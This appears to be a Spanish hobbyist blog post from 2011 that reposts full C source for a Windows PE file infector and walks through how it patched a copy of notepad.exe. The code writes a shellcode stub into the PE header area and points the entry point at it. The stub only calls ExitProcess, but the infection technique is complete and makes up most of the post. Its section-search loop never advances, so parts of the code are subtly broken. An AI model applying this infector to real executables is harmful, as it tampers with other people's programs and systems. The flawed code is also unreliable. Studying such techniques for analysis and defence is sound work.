domingo, 10 de abril de 2011

Simple pero rara forma de infectar un PE

El otro día gracias a Twitter (lo siento, no logro encontrar quien lo twitteo) dí con esta entrada del blog de Marco Ramilli donde explica como infectar un ejecutable de forma sencilla. Os dejo aquí el código todo junto:

#include <stdio.h>
#include <windows.h>

DWORD GetTextSectionOffset(PIMAGE_SECTION_HEADER pSectionHeader , int NumberOfSections)
{
 while(NumberOfSections > 0)
 {
  if( !strcmpi((char*)pSectionHeader->Name , ".text"))
  {
   return pSectionHeader->PointerToRawData;
  }
 }
 /* we did not find .text section */
 return 0;
}

int main(int argc , char *argv[])
{
 HANDLE hFile;
 HANDLE hMap;
 char *MappedFile = 0;
 DWORD FileSize; /* file size */
 DWORD delta;
 DWORD SectionOffset; /* .text section offset*/
 DWORD func_addr;
 IMAGE_DOS_HEADER *pDosHeader;
 IMAGE_NT_HEADERS *pNtHeader;
 IMAGE_SECTION_HEADER *pSecHeader;

 //The shell code to be injected !
 char code[] = "\x6A\x00" /*push 0 */
   "\xB8\x00\x00\x00\x00" /*mov eax , func_addr (address will be inserted automaticly)*/
   "\xFF\xD0"; /*call eax */

 if(argc != 2)
 {
  printf("parameters : %s [filename] \n", argv[0]);
  printf("simple pe infector by _antony \n");
  return 0;
 }
 printf("target: [%s] \n" , argv[1]);
 
 //Opening the passed file:
 hFile = CreateFile(argv[1] ,
      GENERIC_WRITE | GENERIC_READ ,
      0 ,
      0 ,
      OPEN_EXISTING ,
      FILE_ATTRIBUTE_NORMAL ,
      0);
 if(hFile == INVALID_HANDLE_VALUE)
 {
  printf("[Error]: Can't open File! Error code : %d" , GetLastError());
  return -1;
 }

 //Getting file size:
 FileSize = GetFileSize(hFile , 0 );
 printf("[File Size ]: %d \n", FileSize);
 /* mapping file */
 hMap = CreateFileMapping(hFile ,
        0 ,
        PAGE_READWRITE ,
        0 ,
        FileSize ,
        0);
 if(hMap == INVALID_HANDLE_VALUE)
 {
  printf("[Error]: Can't map file! Error code: %d\n" , GetLastError());
  CloseHandle(hFile);
  return -1;
 }
 MappedFile = (char*)MapViewOfFile(hMap , FILE_MAP_READ | FILE_MAP_WRITE , 0 , 0 , FileSize);
 if(MappedFile == NULL)
 {
  printf("[Error]: Can't map file! Error code %d\n", GetLastError());
  CloseHandle(hFile);
  CloseHandle(hMap);
  UnmapViewOfFile(MappedFile);
  return -1;
 }
 //Mapping Headers:
 pDosHeader = (IMAGE_DOS_HEADER*)MappedFile;
 pNtHeader = (IMAGE_NT_HEADERS*)((DWORD)MappedFile + pDosHeader->e_lfanew);
 pSecHeader = IMAGE_FIRST_SECTION(pNtHeader);

 SectionOffset = GetTextSectionOffset(pSecHeader , pNtHeader->FileHeader.NumberOfSections);
 if(SectionOffset == 0)
 {
  printf("[Error]: Can't find .text section!\n");
  CloseHandle(hFile);
  CloseHandle(hMap);
  UnmapViewOfFile(MappedFile);
  return -1;
 }
 delta = SectionOffset - sizeof(code);
 int i;
 BYTE check;
 printf("scanning...\n");

 //looking for free space (0x/00), if enough free space is found then copy shellcode.
 for(i=0 ; i<sizeof(code) ; i++)
 {
  check = *((BYTE*)MappedFile + delta + i);
  printf("%X \t", check);
  if(check != 0)
  {
   printf("There is some data...\n");
   CloseHandle(hFile);
   CloseHandle(hMap);
   UnmapViewOfFile(MappedFile);
   return -1;
  }
 }
 printf("Space if free , infecting File...\n");

 //Inserting function addresses dynamically into the shellcode.

  func_addr = (DWORD)GetProcAddress( LoadLibrary("kernel32.dll") , "ExitProcess");
  for(i=0 ; i < sizeof(code) ; i++ )
  {
   if( *(DWORD*)&code[i] == 0x00000B8)
   {
    *(DWORD*)(code+i+1)= func_addr;
   }
  }
 
  //Setting up new OEP.

  printf("Old Entry Point : %08X \n" , pNtHeader->OptionalHeader.AddressOfEntryPoint);
  memcpy(MappedFile+delta , code , sizeof(code));

  //since delta is PointerToRawData - sizeof(code), it could be added as new OEP.
  pNtHeader->OptionalHeader.AddressOfEntryPoint = delta;
  printf("File infected!\n");
  printf("New Entry Point: %08X \n" , delta);

  CloseHandle(hFile);
  CloseHandle(hMap);
  UnmapViewOfFile(MappedFile);
  return 0;
}

Viendo el código me doy cuenta que en la anterior entrada yo leía el fichero de una forma muy chapucera, reservando memoria con malloc y después leyéndolo entero de golpe, ¿que el fichero ocupa 100 MB? pues 100 MB de memoria que se ocupan… En esté código lo hace de la forma mas correcta, utilizando un fichero proyectado en memoria mediante las APIs CreateFileMapping y MappedFile. Aquí está explicado de lujo que son y para que sirven los archivos proyectados en memoria:
Los rincones del API Win32: Archivos proyectados en memoria
De ahora en adelante lo tendré en cuenta jeje.

Una cosa extraña es que a primera vista, tras leer el código y los comentarios que hizo Marco por encima, pensé que el código buscaba la sección .text, buscaba espacio libre en ella suficiente para escribir el injerto, lo escribía y cambiaba el EP. Pero no, en realidad busca la sección .text y justo antes de que está empiece, si no hay nada ahí, escribe el injerto. Y cómo habitualmente la sección .text es la primera y antes de ella está la cabecera PE, esto implica que el injerto es escrito en la cabecera PE, WTF! Yo pensaba que ahí no se podía escribir código ya que no tendría permisos de ejecución, pero parece ser que no es así.

Veamos un notepad.exe que me ha “infectado” este código. Lo primero vemos que las cabeceras ocupan 400h bytes.

image

La sección .text comienza justo al final de la cabecera, en 400h:

image

De modo que en el código que he puesto arriba la función GetTextSectionOffset devuelve 400h, después realiza este calculo:

delta = SectionOffset - sizeof(code);

Sustituyendo:

delta = 400h - Ah;
delta = 3F6h

Y en esa posición (que ya no forma parte de la sección .text, es la cabecera)busca con el bucle for si todos los bytes valen 0, en el caso de mi notepad esto es así, de modo que escribe ahí el injerto (en azul).

image

El injerto invoca la funcion ExitProcess y finaliza el proceso.

Veo que para lo que hace este código no es necesario buscar la sección .text, simplemente podría mirar el tamaño de las cabeceras situarse al final y ver si hay espacio libre ahí para poner el código, al final de la cabecera PE. Así sería aun mas sencillo y funcionaría con ejecutables en los que la sección de código se llama .code, o .UPX por ejemplo.

Lo mas curioso de todo es que se pueda ejecutar código que esté en la cabecera PE, seguro que es útil.

Saludos!

2 comentarios: